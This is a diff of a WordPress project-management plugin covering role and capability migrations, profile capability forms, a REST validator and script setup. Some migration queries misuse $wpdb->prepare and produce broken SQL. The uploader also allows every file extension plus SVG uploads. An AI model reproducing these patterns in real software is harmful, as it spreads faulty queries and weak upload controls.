{$wpdb->prefix}pm_projects as pj"; + + $projects = $wpdb->get_results( $wpdb->prepare( "SELECT DISTINCT pj.id FROM {$wpdb->prefix}pm_projects as pj" ) ); + $projects = wp_list_pluck( $projects, 'id' ); + + $value = ''; + + foreach ( $projects as $id ) { + $value .= "($id, 1),"; + $value .= "($id, 2),"; + $value .= "($id, 3),"; + } + + $value = rtrim( $value, ',' ); + $table = $wpdb->prefix . 'pm_role_project'; + + $insert_query = "INSERT INTO {$wpdb->prefix}pm_role_project (project_id, role_id) + VALUES {$value}"; + + $wpdb->query( $wpdb->prepare( "INSERT INTO {$wpdb->prefix}pm_role_project (project_id, role_id) + VALUES %s", $value ) ); + + update_option( 'update_role_project_table', 'done' ); + } + + private function crate_role_project_capabilities_table() { + global $wpdb; + $table_name = $wpdb->prefix . 'pm_role_project_capabilities'; + + $sql = "CREATE TABLE IF NOT EXISTS {$wpdb->prefix}pm_role_project_capabilities ( + `role_project_id` int(20) UNSIGNED NOT NULL, + `capability_id` int(20) UNSIGNED NOT NULL, + KEY `role_project_id` (`role_project_id`) + ) DEFAULT CHARSET=utf8"; + + + dbDelta($sql); + } + + private function update_role_project_capabilities() { + if( ! empty( get_option( 'update_role_project_capabilities' ) ) ) { + return; + } + + global $wpdb; + + $tb_projects = $wpdb->prefix . 'pm_projects'; + $tb_settings = $wpdb->prefix . 'pm_settings'; + $tb_role_projects = $wpdb->prefix . 'pm_role_project'; + $tb_role_project_cap = $wpdb->prefix . 'pm_role_project_capabilities'; + + $query = "SELECT pj.id, st.value FROM {$wpdb->prefix}pm_projects as pj + LEFT JOIN {$wpdb->prefix}pm_settings as st ON st.project_id=pj.id + WHERE st.key='capabilities'"; + + $results = $wpdb->get_results( $wpdb->prepare( "SELECT pj.id, st.value FROM {$wpdb->prefix}pm_projects as pj + LEFT JOIN {$wpdb->prefix}pm_settings as st ON st.project_id=pj.id + WHERE st.key='capabilities'" ) ); + + $new_reslts = []; + + foreach ( $results as $key => $result ) { + $new_reslts[$result->id] = maybe_unserialize( $result->value ); + } + + $query = "SELECT * FROM {$wpdb->prefix}pm_role_project"; + + $role_projects = $wpdb->get_results($wpdb->prepare( "SELECT * FROM {$wpdb->prefix}pm_role_project" ) ); + + foreach ( $role_projects as $key => $role_project ) { + $project_id = $role_project->project_id; + + if ( $role_project->role_id == 2 ) { + if( !empty( $new_reslts[$project_id] ) ) { + $caps = $new_reslts[$project_id]['co_worker']; + foreach ( $caps as $cap_key => $cap ) { + + if ( $cap == 'true' || $cap === true ) { + $cap_id = $this->get_cap_id( $cap_key ); + $role_project->caps[] = $cap_id; + } + + } + } else { + $role_project->caps = [1,2,3,4,5,6,7,8,9,10]; + } + } + + if ( $role_project->role_id == 3 ) { + if( !empty( $new_reslts[$project_id] ) ) { + $caps = $new_reslts[$project_id]['client']; + foreach ( $caps as $cap_key => $cap ) { + + if ( $cap == 'true' || $cap === true ) { + $cap_id = $this->get_cap_id( $cap_key ); + $role_project->caps[] = $cap_id; + } + + } + } else { + $role_project->caps = [1,3,7,5,9]; + } + } + + if ( $role_project->role_id == 1 ) { + $role_project->caps = [1,2,3,4,5,6,7,8,9,10]; + } + } + + $query_string = ''; + + foreach ( $role_projects as $key => $role_project ) { + if ( ! empty( $role_project->caps ) ) { + foreach ( $role_project->caps as $key => $cap ) { + $query_string .= "($role_project->id, $cap),"; + } + } + } + + $value = rtrim( $query_string, ',' ); + + $insert_query = "INSERT INTO {$wpdb->prefix}pm_role_project_capabilities (role_project_id, capability_id) + VALUES {$value}"; + + $wpdb->query( $wpdb->prepare("INSERT INTO {$wpdb->prefix}pm_role_project_capabilities (role_project_id, capability_id) + VALUES %s", $value ) ); + + update_option( 'update_role_project_capabilities', 'done' ); + + } + + private function crate_role_project_users_table() { + global $wpdb; + $table_name = $wpdb->prefix . 'pm_role_project_users'; + + $sql = "CREATE TABLE IF NOT EXISTS {$wpdb->prefix}pm_role_project_users ( + `role_project_id` int(20) UNSIGNED NOT NULL, + `user_id` int(20) UNSIGNED NOT NULL, + KEY `role_project_id` (`role_project_id`) + ) DEFAULT CHARSET=utf8"; + + dbDelta($sql); + } + + public function update_role_project_users() { + if( ! empty( get_option( 'update_role_project_users' ) ) ) { + return; + } + global $wpdb; + + $tb_role_users = $wpdb->prefix . 'pm_role_user'; + $tb_role_projects = $wpdb->prefix . 'pm_role_project'; + $tb_new_role_user = $wpdb->prefix . 'pm_role_project_users'; + + $query = "SELECT DISTINCT rp.id as role_project_id, ru.user_id as user_id, ru.project_id as project_id + FROM {$wpdb->prefix}pm_role_user as ru + LEFT JOIN {$wpdb->prefix}pm_role_project as rp ON rp.project_id=ru.project_id + WHERE ru.role_id=2 AND rp.role_id=2"; + + $client_projects = $wpdb->get_results( $wpdb->prepare( "SELECT DISTINCT rp.id as role_project_id, ru.user_id as user_id, ru.project_id as project_id + FROM {$wpdb->prefix}pm_role_user as ru + LEFT JOIN {$wpdb->prefix}pm_role_project as rp ON rp.project_id=ru.project_id + WHERE ru.role_id=2 AND rp.role_id=2" ) ); + + $query = "SELECT DISTINCT rp.id as role_project_id, ru.user_id as user_id, ru.project_id as project_id + FROM {$wpdb->prefix}pm_role_user as ru + LEFT JOIN {$wpdb->prefix}pm_role_project as rp ON rp.project_id=ru.project_id + WHERE ru.role_id=3 AND rp.role_id=3"; + + $co_worker_projects = $wpdb->get_results($wpdb->prepare( "SELECT DISTINCT rp.id as role_project_id, ru.user_id as user_id, ru.project_id as project_id + FROM {$wpdb->prefix}pm_role_user as ru + LEFT JOIN {$wpdb->prefix}pm_role_project as rp ON rp.project_id=ru.project_id + WHERE ru.role_id=3 AND rp.role_id=3" ) ); + + $query = "SELECT DISTINCT rp.id as role_project_id, ru.user_id as user_id, ru.project_id as project_id + FROM {$wpdb->prefix}pm_role_user as ru + LEFT JOIN {$wpdb->prefix}pm_role_project as rp ON rp.project_id=ru.project_id + WHERE ru.role_id=1 AND rp.role_id=1"; + + $manager_projects = $wpdb->get_results($wpdb->prepare( "SELECT DISTINCT rp.id as role_project_id, ru.user_id as user_id, ru.project_id as project_id + FROM {$wpdb->prefix}pm_role_user as ru + LEFT JOIN {$wpdb->prefix}pm_role_project as rp ON rp.project_id=ru.project_id + WHERE ru.role_id=1 AND rp.role_id=1" )); + + $role_projects = array_merge( $client_projects, $co_worker_projects, $manager_projects ); + + $query_string = ''; + + foreach ( $role_projects as $key => $role_project ) { + $query_string .= "($role_project->role_project_id, $role_project->user_id),"; + } + + $value = rtrim( $query_string, ',' ); + + $insert_query = "INSERT INTO {$wpdb->prefix}pm_role_project_users (role_project_id, user_id) + VALUES {$value}"; + + $wpdb->query( $wpdb->prepare( "INSERT INTO {$wpdb->prefix}pm_role_project_users (role_project_id, user_id) + VALUES %s", $value ) ); + + update_option( 'update_role_project_users', 'done' ); + } + + public function get_cap_id( $key ) { + + $cap = [ + 'create_message' => 1, //'Message Create', + 'view_private_message' => 2, //'Message Private', + 'create_list' => 3, //'Task List Create', + 'view_private_list' => 4, //'Task List Private', + 'create_milestone' => 5, //'Milestone Create', + 'view_private_milestone' => 6, //'Milestone Private', + 'create_task' => 7, //'Task Create', + 'view_private_task' => 8, //'Task Private', + 'create_file' => 9, //'File Create', + 'view_private_file' => 10, //'File Private', + ]; + + return $cap[$key]; + } + +} diff --git a/core/Upgrades/Upgrade_2_4_4.php b/core/Upgrades/Upgrade_2_4_4.php index 54faed679..02852f3e8 100644 --- a/core/Upgrades/Upgrade_2_4_4.php +++ b/core/Upgrades/Upgrade_2_4_4.php @@ -1,44 +1,44 @@ -set_capabilities(); - } - - /** - * Set page access capability for admin user - * - * @since 1.0 - * - * @return void - */ - public function set_capabilities() { - $manage_roles = (array) pm_get_setting( 'managing_capability' ); - $pj_create_roles = (array) pm_get_setting( 'project_create_capability' ); - - $manage_roles[] = 'administrator'; - $manage_roles = array_unique( $manage_roles ); - - $admin_users = get_users( [ 'role__in' => $manage_roles ] ); - $manager_users = get_users( [ 'role__in' => $pj_create_roles ] ); - - if ( $manager_users ) { - foreach ( $manager_users as $manger_user ) { - $manger_user->add_cap( pm_manager_cap_slug() ); - update_user_meta( $manger_user->ID, 'pm_capability', pm_manager_cap_slug() ); - } - } - - if ( $admin_users ) { - foreach ( $admin_users as $admin_user ) { - $admin_user->add_cap( pm_admin_cap_slug() ); - update_user_meta( $admin_user->ID, 'pm_capability', pm_admin_cap_slug() ); - } - } - } -} +set_capabilities(); + } + + /** + * Set page access capability for admin user + * + * @since 1.0 + * + * @return void + */ + public function set_capabilities() { + $manage_roles = (array) pm_get_setting( 'managing_capability' ); + $pj_create_roles = (array) pm_get_setting( 'project_create_capability' ); + + $manage_roles[] = 'administrator'; + $manage_roles = array_unique( $manage_roles ); + + $admin_users = get_users( [ 'role__in' => $manage_roles ] ); + $manager_users = get_users( [ 'role__in' => $pj_create_roles ] ); + + if ( $manager_users ) { + foreach ( $manager_users as $manger_user ) { + $manger_user->add_cap( pm_manager_cap_slug() ); + update_user_meta( $manger_user->ID, 'pm_capability', pm_manager_cap_slug() ); + } + } + + if ( $admin_users ) { + foreach ( $admin_users as $admin_user ) { + $admin_user->add_cap( pm_admin_cap_slug() ); + update_user_meta( $admin_user->ID, 'pm_capability', pm_admin_cap_slug() ); + } + } + } +} diff --git a/core/User_Profile/Profile_Update.php b/core/User_Profile/Profile_Update.php index f09e66634..c7410da09 100644 --- a/core/User_Profile/Profile_Update.php +++ b/core/User_Profile/Profile_Update.php @@ -1,163 +1,163 @@ -setup_actions(); - } - - /** - * Setup the admin hooks, actions and filters - * - * @return void - */ - function setup_actions() { - - // Bail if in network admin - if ( is_network_admin() ) { - return; - } - - // User profile edit/display actions - add_action( 'edit_user_profile', [ $this, 'profile' ] ); - add_action( 'show_user_profile', [ $this, 'profile' ] ); - add_action( 'profile_update', [ $this, 'profile_update' ], 10, 2 ); - } - - /** - * Default interface for setting a HR role - * - * @param WP_User $profile_user User data - * - * @return bool Always false - */ - public function profile( $profile_user ) { - - // Bail if current user cannot edit users - if ( ! current_user_can( 'edit_user', $profile_user->ID ) || !current_user_can( 'manage_options') ) { - return; - } - - ?> - -

- - capbility_form( $profile_user ); - - do_action( 'pm_user_profile', $profile_user ); - - wp_nonce_field( 'pm_nonce', 'pm_profile_nonce' ); - - } - - protected function capbility_form( $user ) { - if ( user_can( $user->ID, 'manage_options' ) ) { - return; - } - - if ( $user->ID == get_current_user_id() ) { - return; - } - - $meta_value = get_user_meta( $user->ID, 'pm_capability', true ); - - ?> - - - - - - - - -
-
- -
-
- update_user_capability( $user_id, $cap_key ); - - do_action( 'pm_update_profile', $user_id, $prev_data ); - } - - function update_user_capability( $user_id, $cap_key ) { - if ( empty( $cap_key ) ) { - update_user_meta( $user_id, 'pm_capability', '' ); - $this->remove_capability( $user_id ); - return; - } - - update_user_meta( $user_id, 'pm_capability', $cap_key ); - - $this->remove_capability( $user_id ); - $this->add_capability( $user_id, $cap_key ); - - } - - function remove_capability( $user_id ) { - $user = get_user_by( 'id', $user_id ); - - foreach ( pm_access_capabilities() as $meta_key => $label ) { - $user->remove_cap( $meta_key ); - } - } - - function add_capability( $user_id, $cap_key ) { - - $user = get_user_by( 'id', $user_id ); - - if ( $cap_key == pm_admin_cap_slug() ) { - $user->add_cap( pm_manager_cap_slug() ); - } - - $user->add_cap( $cap_key ); - } -} +setup_actions(); + } + + /** + * Setup the admin hooks, actions and filters + * + * @return void + */ + function setup_actions() { + + // Bail if in network admin + if ( is_network_admin() ) { + return; + } + + // User profile edit/display actions + add_action( 'edit_user_profile', [ $this, 'profile' ] ); + add_action( 'show_user_profile', [ $this, 'profile' ] ); + add_action( 'profile_update', [ $this, 'profile_update' ], 10, 2 ); + } + + /** + * Default interface for setting a HR role + * + * @param WP_User $profile_user User data + * + * @return bool Always false + */ + public function profile( $profile_user ) { + + // Bail if current user cannot edit users + if ( ! current_user_can( 'edit_user', $profile_user->ID ) || !current_user_can( 'manage_options') ) { + return; + } + + ?> + +

+ + capbility_form( $profile_user ); + + do_action( 'pm_user_profile', $profile_user ); + + wp_nonce_field( 'pm_nonce', 'pm_profile_nonce' ); + + } + + protected function capbility_form( $user ) { + if ( user_can( $user->ID, 'manage_options' ) ) { + return; + } + + if ( $user->ID == get_current_user_id() ) { + return; + } + + $meta_value = get_user_meta( $user->ID, 'pm_capability', true ); + + ?> + + + + + + + + +
+
+ +
+
+ update_user_capability( $user_id, $cap_key ); + + do_action( 'pm_update_profile', $user_id, $prev_data ); + } + + function update_user_capability( $user_id, $cap_key ) { + if ( empty( $cap_key ) ) { + update_user_meta( $user_id, 'pm_capability', '' ); + $this->remove_capability( $user_id ); + return; + } + + update_user_meta( $user_id, 'pm_capability', $cap_key ); + + $this->remove_capability( $user_id ); + $this->add_capability( $user_id, $cap_key ); + + } + + function remove_capability( $user_id ) { + $user = get_user_by( 'id', $user_id ); + + foreach ( pm_access_capabilities() as $meta_key => $label ) { + $user->remove_cap( $meta_key ); + } + } + + function add_capability( $user_id, $cap_key ) { + + $user = get_user_by( 'id', $user_id ); + + if ( $cap_key == pm_admin_cap_slug() ) { + $user->add_cap( pm_manager_cap_slug() ); + } + + $user->add_cap( $cap_key ); + } +} diff --git a/core/Validator/Abstract_Validator.php b/core/Validator/Abstract_Validator.php index 21f3fc110..8308379cb 100644 --- a/core/Validator/Abstract_Validator.php +++ b/core/Validator/Abstract_Validator.php @@ -1,164 +1,164 @@ -request = $request; - } - } - - /** - * Perform validation tasks i.e this will check whether all the rules - * that are applied to a specific data key are satisfied or not. - * - * @param WP_REST_Request $request (Current request to the application.) - * - * @param string $key (Data key under validation.) - * - * @return boolean (If all the rules are satified, this method will - * return true; otherwise false.) - */ - public function validate( WP_REST_Request $request, $key ) { - $this->request = $request; - $rules = $this->rules(); - $messages = $this->messages(); - - $validation_fns = $rules[$key]; - $fns = $this->get_validation_fns( $validation_fns ); - $value = $this->request->get_param( $key ); - - foreach ( $fns as $fn ) { - if ( !$this->call_validation_fn( $value, $fn ) ) { - $fname = explode( ':', $fn ); - $this->errors[$key][] = $messages[$key . '.' . $fname[0]]; - } - } - - if ( $this->has_error( $key ) ) { - return false; - } - - return true; - } - - /** - * Check whether the data passed to the application under a specific - * key contain error or not if the key is supplied; otherwise it - * will check for errors under all keys in the request object. - * - * @param string $key (Key of data field in the request object.) - * - * @return boolean (If data contains error, this will return true; - * otherwise false.) - */ - public function has_error( $key = null ) { - if ( !$key ) { - return count( $this->errors ); - } - - if ( empty( $this->errors[$key] ) ) { - return 0; - } - - return count( $this->errors[$key] ); - } - - /** - * Array of errors under a key generated by the validate method will - * be returned if a data key is supplied; otherwise it will return - * errors under all data keys. - * - * @param string $key (Key of data field in the request object.) - * - * @return array (Associative array of error where keys are data key - * and corresponding values are error messages. Values can be an - * array in the case of multiple errors for the same data value.) - */ - public function get_errors( $key = null ) { - if ( !$key ) { - return $this->errors; - } - - return $this->errors[$key]; - } - - /** - * Separation of validation functions from the piple line - * separated string. - * - * @param string $fns (Piple line separated string of validation - * rules.) - * - * @return array (Array of function names that will called when - * validating a data key) - */ - protected function get_validation_fns( $fns ) { - return explode( '|', $fns ); - } - - /** - * Making of validation functions and call them with appropriate - * parameters. - * - * @param mixed $value (Value of a data field.) - * - * @param string $fn (Name of function. If a function has any parameter - * other than data field value will be look like 'fn:param1,param2'.These - * parameters will be passed to that function as an array that will retain - * the sequence and data field value will be passed as first parameter.) - * - * @return boolean (True if data field value passes the validation - * otherwise false.) - */ - protected function call_validation_fn( $value, $fn ) { - $fn_parts = explode( ':', $fn ); - - $fn_name = trim( $fn_parts[0] ); - - if ( count( $fn_parts ) > 1 ) { - $fn_params = trim( $fn_parts[1] ); - $fn_params = explode( ',', $fn_params ); - - return $fn_name( $value, $fn_params ); - } - - return $fn_name( $value ); - } - - /** - * Generation of messages for wrong data passed to the application. - * - * @return array (Associative array of error messages where keys are - * data keys and corresponding values are error messages. Values can - * be array of error messages.) - */ - abstract public function messages(); - - /** - * Rules for validating data passed to the application will be - * defined and returned as an associative array. - * - * @return array (Associative array where keys are data keys and - * values are rules. Multiple rules will be separated by piple line.) - */ - abstract public function rules(); -} +request = $request; + } + } + + /** + * Perform validation tasks i.e this will check whether all the rules + * that are applied to a specific data key are satisfied or not. + * + * @param WP_REST_Request $request (Current request to the application.) + * + * @param string $key (Data key under validation.) + * + * @return boolean (If all the rules are satified, this method will + * return true; otherwise false.) + */ + public function validate( WP_REST_Request $request, $key ) { + $this->request = $request; + $rules = $this->rules(); + $messages = $this->messages(); + + $validation_fns = $rules[$key]; + $fns = $this->get_validation_fns( $validation_fns ); + $value = $this->request->get_param( $key ); + + foreach ( $fns as $fn ) { + if ( !$this->call_validation_fn( $value, $fn ) ) { + $fname = explode( ':', $fn ); + $this->errors[$key][] = $messages[$key . '.' . $fname[0]]; + } + } + + if ( $this->has_error( $key ) ) { + return false; + } + + return true; + } + + /** + * Check whether the data passed to the application under a specific + * key contain error or not if the key is supplied; otherwise it + * will check for errors under all keys in the request object. + * + * @param string $key (Key of data field in the request object.) + * + * @return boolean (If data contains error, this will return true; + * otherwise false.) + */ + public function has_error( $key = null ) { + if ( !$key ) { + return count( $this->errors ); + } + + if ( empty( $this->errors[$key] ) ) { + return 0; + } + + return count( $this->errors[$key] ); + } + + /** + * Array of errors under a key generated by the validate method will + * be returned if a data key is supplied; otherwise it will return + * errors under all data keys. + * + * @param string $key (Key of data field in the request object.) + * + * @return array (Associative array of error where keys are data key + * and corresponding values are error messages. Values can be an + * array in the case of multiple errors for the same data value.) + */ + public function get_errors( $key = null ) { + if ( !$key ) { + return $this->errors; + } + + return $this->errors[$key]; + } + + /** + * Separation of validation functions from the piple line + * separated string. + * + * @param string $fns (Piple line separated string of validation + * rules.) + * + * @return array (Array of function names that will called when + * validating a data key) + */ + protected function get_validation_fns( $fns ) { + return explode( '|', $fns ); + } + + /** + * Making of validation functions and call them with appropriate + * parameters. + * + * @param mixed $value (Value of a data field.) + * + * @param string $fn (Name of function. If a function has any parameter + * other than data field value will be look like 'fn:param1,param2'.These + * parameters will be passed to that function as an array that will retain + * the sequence and data field value will be passed as first parameter.) + * + * @return boolean (True if data field value passes the validation + * otherwise false.) + */ + protected function call_validation_fn( $value, $fn ) { + $fn_parts = explode( ':', $fn ); + + $fn_name = trim( $fn_parts[0] ); + + if ( count( $fn_parts ) > 1 ) { + $fn_params = trim( $fn_parts[1] ); + $fn_params = explode( ',', $fn_params ); + + return $fn_name( $value, $fn_params ); + } + + return $fn_name( $value ); + } + + /** + * Generation of messages for wrong data passed to the application. + * + * @return array (Associative array of error messages where keys are + * data keys and corresponding values are error messages. Values can + * be array of error messages.) + */ + abstract public function messages(); + + /** + * Rules for validating data passed to the application will be + * defined and returned as an associative array. + * + * @return array (Associative array where keys are data keys and + * values are rules. Multiple rules will be separated by piple line.) + */ + abstract public function rules(); +} diff --git a/core/WP/Enqueue_Scripts.php b/core/WP/Enqueue_Scripts.php index a28814347..3cf939256 100644 --- a/core/WP/Enqueue_Scripts.php +++ b/core/WP/Enqueue_Scripts.php @@ -1,112 +1,112 @@ - admin_url( 'admin-ajax.php' ), - 'permission' => wp_create_nonce('wp_rest'), - 'nonce' => wp_create_nonce( 'pm_nonce' ), - 'base_url' => home_url(), - 'api_base_url' => esc_url_raw( get_rest_url() ), - 'api_namespace' => pm_api_namespace(), - 'permalinkStructure' => get_option( 'permalink_structure' ), - 'project_page' => pm_get_project_page(), - 'rest_api_prefix' => rest_get_url_prefix(), - 'todo_list_form' => apply_filters( 'todo_list_form', array( 'PM_Task_Mixin' ) ), - 'todo_list_router_default' => apply_filters( 'todo_list_router_default', array( 'PM_Task_Mixin' ) ), - 'todo_list_text_editor' => apply_filters( 'todo_list_text_editor', array() ), - 'assets_url' => config('frontend.assets_url'), - 'wp_time_zone' => tzcode_to_tzstring( get_wp_timezone() ), - 'current_user' => wp_get_current_user(), - 'manage_capability' => pm_has_manage_capability(), - 'create_capability' => pm_has_project_create_capability(), - 'avatar_url' => get_avatar_url( get_current_user_id() ), - 'plupload' => array( - 'browse_button' => 'pm-upload-pickfiles', - 'container' => 'pm-upload-container', - 'max_file_size' => $upload_size . 'b', - 'url' => admin_url( 'admin-ajax.php' ) . '?action=pm_ajax_upload&nonce=' . wp_create_nonce( 'pm_ajax_upload' ), - 'flash_swf_url' => includes_url( 'js/plupload/plupload.flash.swf' ), - 'silverlight_xap_url' => includes_url( 'js/plupload/plupload.silverlight.xap' ), - 'filters' => array( array( 'title' => __( 'Allowed Files', 'wedevs-project-manager' ), 'extensions' => '*' ) ), - 'resize' => array( - 'width' => ( int ) get_option( 'large_size_w' ), - 'height' => ( int ) get_option( 'large_size_h' ), - 'quality' => 100 - ) - ), - 'roles' => pm_get_wp_roles(), - 'settings' => pm_get_setting(), - 'text' => pm_get_text('common'), - 'dir_url' => config('frontend.url'), - 'is_pro' => $wedevs_pm_pro, - 'is_admin' => is_admin(), - 'language' => apply_filters( 'pm_get_jed_locale_data', [ 'pm' => pm_get_jed_locale_data( 'wedevs-project-manager' ) ] ), - 'date_format' => get_option( 'date_format' ), - 'time_format' => get_option( 'time_format' ), - 'id' => pm_root_element_id(), - 'can_add_user_project_create_time' => pm_can_create_user_at_project_create_time(), - 'locale' => get_locale(), - 'estimationType' => pm_get_estimation_type(), - 'admin_cap_slug' => pm_admin_cap_slug(), - 'manager_cap_slug' => pm_manager_cap_slug(), - // 'settings_page_slug' => pm_settings_page_slug(), - // 'tools_page_slug' => pm_tools_page_slug(), - // 'categories_page_slug' => pm_categories_page_slug() - ]; - - $localize = self::filter( $localize ); - $localize = apply_filters( 'pm_localize', $localize ); - - wp_localize_script( 'pm-config', 'PM_Vars', $localize ); - } - - public static function filter( $localize ) { - unset( $localize['current_user']->user_pass ); - unset( $localize['current_user']->user_activation_key ); - - return $localize; - } -} + admin_url( 'admin-ajax.php' ), + 'permission' => wp_create_nonce('wp_rest'), + 'nonce' => wp_create_nonce( 'pm_nonce' ), + 'base_url' => home_url(), + 'api_base_url' => esc_url_raw( get_rest_url() ), + 'api_namespace' => pm_api_namespace(), + 'permalinkStructure' => get_option( 'permalink_structure' ), + 'project_page' => pm_get_project_page(), + 'rest_api_prefix' => rest_get_url_prefix(), + 'todo_list_form' => apply_filters( 'todo_list_form', array( 'PM_Task_Mixin' ) ), + 'todo_list_router_default' => apply_filters( 'todo_list_router_default', array( 'PM_Task_Mixin' ) ), + 'todo_list_text_editor' => apply_filters( 'todo_list_text_editor', array() ), + 'assets_url' => config('frontend.assets_url'), + 'wp_time_zone' => tzcode_to_tzstring( get_wp_timezone() ), + 'current_user' => wp_get_current_user(), + 'manage_capability' => pm_has_manage_capability(), + 'create_capability' => pm_has_project_create_capability(), + 'avatar_url' => get_avatar_url( get_current_user_id() ), + 'plupload' => array( + 'browse_button' => 'pm-upload-pickfiles', + 'container' => 'pm-upload-container', + 'max_file_size' => $upload_size . 'b', + 'url' => admin_url( 'admin-ajax.php' ) . '?action=pm_ajax_upload&nonce=' . wp_create_nonce( 'pm_ajax_upload' ), + 'flash_swf_url' => includes_url( 'js/plupload/plupload.flash.swf' ), + 'silverlight_xap_url' => includes_url( 'js/plupload/plupload.silverlight.xap' ), + 'filters' => array( array( 'title' => __( 'Allowed Files', 'wedevs-project-manager' ), 'extensions' => '*' ) ), + 'resize' => array( + 'width' => ( int ) get_option( 'large_size_w' ), + 'height' => ( int ) get_option( 'large_size_h' ), + 'quality' => 100 + ) + ), + 'roles' => pm_get_wp_roles(), + 'settings' => pm_get_setting(), + 'text' => pm_get_text('common'), + 'dir_url' => config('frontend.url'), + 'is_pro' => $wedevs_pm_pro, + 'is_admin' => is_admin(), + 'language' => apply_filters( 'pm_get_jed_locale_data', [ 'pm' => pm_get_jed_locale_data( 'wedevs-project-manager' ) ] ), + 'date_format' => get_option( 'date_format' ), + 'time_format' => get_option( 'time_format' ), + 'id' => pm_root_element_id(), + 'can_add_user_project_create_time' => pm_can_create_user_at_project_create_time(), + 'locale' => get_locale(), + 'estimationType' => pm_get_estimation_type(), + 'admin_cap_slug' => pm_admin_cap_slug(), + 'manager_cap_slug' => pm_manager_cap_slug(), + // 'settings_page_slug' => pm_settings_page_slug(), + // 'tools_page_slug' => pm_tools_page_slug(), + // 'categories_page_slug' => pm_categories_page_slug() + ]; + + $localize = self::filter( $localize ); + $localize = apply_filters( 'pm_localize', $localize ); + + wp_localize_script( 'pm-config', 'PM_Vars', $localize ); + } + + public static function filter( $localize ) { + unset( $localize['current_user']->user_pass ); + unset( $localize['current_user']->user_activation_key ); + + return $localize; + } +} diff --git a/core/WP/Frontend.php b/core/WP/Frontend.php index 0bfa56774..06d4feafd 100644 --- a/core/WP/Frontend.php +++ b/core/WP/Frontend.php @@ -1,379 +1,379 @@ -includes(); - - // instantiate classes - $this->instantiate(); - - // Initialize the action hooks - $this->init_actions(); - - // Initialize the action hooks - $this->init_filters(); - - //Execute only plugin install time - register_activation_hook( PM_FILE, array( $this, 'install' ) ); - } - - public function install() { - if ( is_multisite() && is_network_admin() ) { - $sites = get_sites(); - - foreach ( $sites as $key => $site ) { - $this->after_insert_site( $site ); - } - } else { - $this->run_install(); - } - } - - public function run_install() { - ( new Installer )->do_install(); - } - - /** - * All actions - * - * @return void - */ - public function init_actions() { - add_action( 'plugins_loaded', array( $this, 'seed' ), 10 ); - add_action( 'admin_menu', array( new Menu, 'admin_menu' ) ); - add_action( 'pm_menu_before_load_scripts', array( new Pro_Menu, 'admin_menu' ) ); - add_action( 'wp_ajax_pm_ajax_upload', array ( new File_System, 'ajax_upload_file' ) ); - add_action( 'init', array ( 'WeDevs\PM\Core\Notifications\Notification' , 'init_transactional_emails' ) ); - add_action( 'admin_enqueue_scripts', array ( $this, 'register_scripts' ) ); - add_action( 'wp_enqueue_scripts', array ( $this, 'register_scripts' ) ); - add_action( 'plugins_loaded', array( $this, 'load_plugin_textdomain' ) ); - add_action( 'plugins_loaded', array( $this, 'pm_content_filter' ) ); - add_action( 'plugins_loaded', array( $this, 'pm_content_filter_url' ) ); - add_filter( 'plugin_action_links_' . PM_BASENAME , array( $this, 'plugin_action_links' ) ); - add_filter( 'in_plugin_update_message-' . PM_BASENAME , array( $this, 'upgrade_notice' ), 10, 2 ); - add_action( 'admin_footer', array( $this, 'switch_project_html' ) ); - add_action( 'admin_init', array( $this, 'redirect_after_activate' ) ); - add_action( 'admin_bar_menu', array( $this, 'pm_toolbar_search_button' ), 999); - add_action( 'wp_initialize_site', [ $this, 'after_insert_site' ], 10 ); - - add_action( 'admin_init', array( $this, 'test' ) ); - } - - function test() { - - $current_time = new \DateTimeImmutable( 'now', new \DateTimeZone('America/New_York') ); - - } - - function after_insert_site( $new_sites ) { - switch_to_blog( $new_sites->blog_id ); - - $this->run_install(); - - restore_current_blog(); - } - - function seed() { - Upgrade::create_tables(); - } - - function pm_content_filter() { - add_filter( 'pm_get_content', 'wptexturize' ); - add_filter( 'pm_get_content', 'convert_smilies' ); - add_filter( 'pm_get_content', 'convert_chars' ); - add_filter( 'pm_get_content', 'wpautop' ); - add_filter( 'pm_get_content', 'shortcode_unautop' ); - add_filter( 'pm_get_content', 'prepend_attachment' ); - add_filter( 'pm_get_content', 'make_clickable' ); - //add_filter('all_plugins', [ $this, 'hide_plugin_form_admin_network' ] ); - } - - function hide_plugin_form_admin_network( $plugins ) { - if ( is_network_admin() ) { - foreach ( $plugins as $key => $plugin ) { - if ( $plugin['TextDomain'] == 'wedevs-project-manager' ) { - unset( $plugins[$key] ); - } - - if ( $plugin['TextDomain'] == 'pm-pro' ) { - unset( $plugins[$key] ); - } - } - } - - return $plugins; - } - - function pm_content_filter_url() { - add_filter( 'pm_get_content_url', 'make_clickable' ); - } - - function load_plugin_textdomain() { - load_plugin_textdomain( 'wedevs-project-manager', false, config('frontend.basename') . '/languages/' ); - } - - public function includes() { - // cli command - if ( defined('WP_CLI') && WP_CLI ) { - $file = config( 'frontend.patch' ) . '/core/cli/Commands.php'; - - //if ( file_exists( $file ) ) { - new Commands(); - //} - } - } - - /** - * All filters - * - * @return void - */ - public function init_filters() { - add_filter( 'upload_mimes', [$this, 'cc_mime_types'] ); - add_filter( 'wp_mime_type_icon', [$this, 'change_mime_icon'], 10, 3 ); - add_filter( 'todo_list_text_editor', [$this, 'project_text_editor'] ); - add_filter( 'upload_mimes', [$this, 'custom_upload_mimes']); - add_filter( 'appsero_custom_deactivation_reasons', [ $this, 'custom_deactivation_reason' ] ); - } - - function custom_deactivation_reason( $reasons ) { - $reasons[] = array( - 'id' => 'temporary_deactivation', - 'text' => __( 'Temporary deactivation', 'wedevs-project-manager' ), - 'placeholder' => __( 'Are you facing any problem?', 'wedevs-project-manager' ), - 'icon' => '' - ); - - $reasons[] = array( - 'id' => 'found_error', - 'text' => __( 'Found an Error', 'wedevs-project-manager' ), - 'placeholder' => __( 'Please tell us more about the error. We\'ll reach you with the possible solution.', 'wedevs-project-manager' ), - 'icon' => '', - ); - - $reasons[] = array( - 'id' => 'not_documented', - 'text' => __( 'No proper documentation', 'wedevs-project-manager' ), - 'placeholder' => __( 'Could you tell us a bit more?', 'wedevs-project-manager' ), - 'icon' => '', - ); - - return $reasons; - } - - function cc_mime_types( $mimes ) { - $mimes['svg'] = 'image/svg+xml'; - return $mimes; - } - - function change_mime_icon( $icon, $mime = null, $post_id = null ) { - $assets_url = config('frontend.assets_url'); - $folder = $assets_url . 'images/icons/'; - $exist_mime = [ - 'application/pdf' => 'pdf.png', - 'application/vnd.openxmlformats-officedocument.wordprocessingml.document' => 'document.png', - 'application/msword' => 'document.png', - 'application/application/vnd.ms-excel' => 'spreadsheet.png', - 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet' => 'spreadsheet.png', 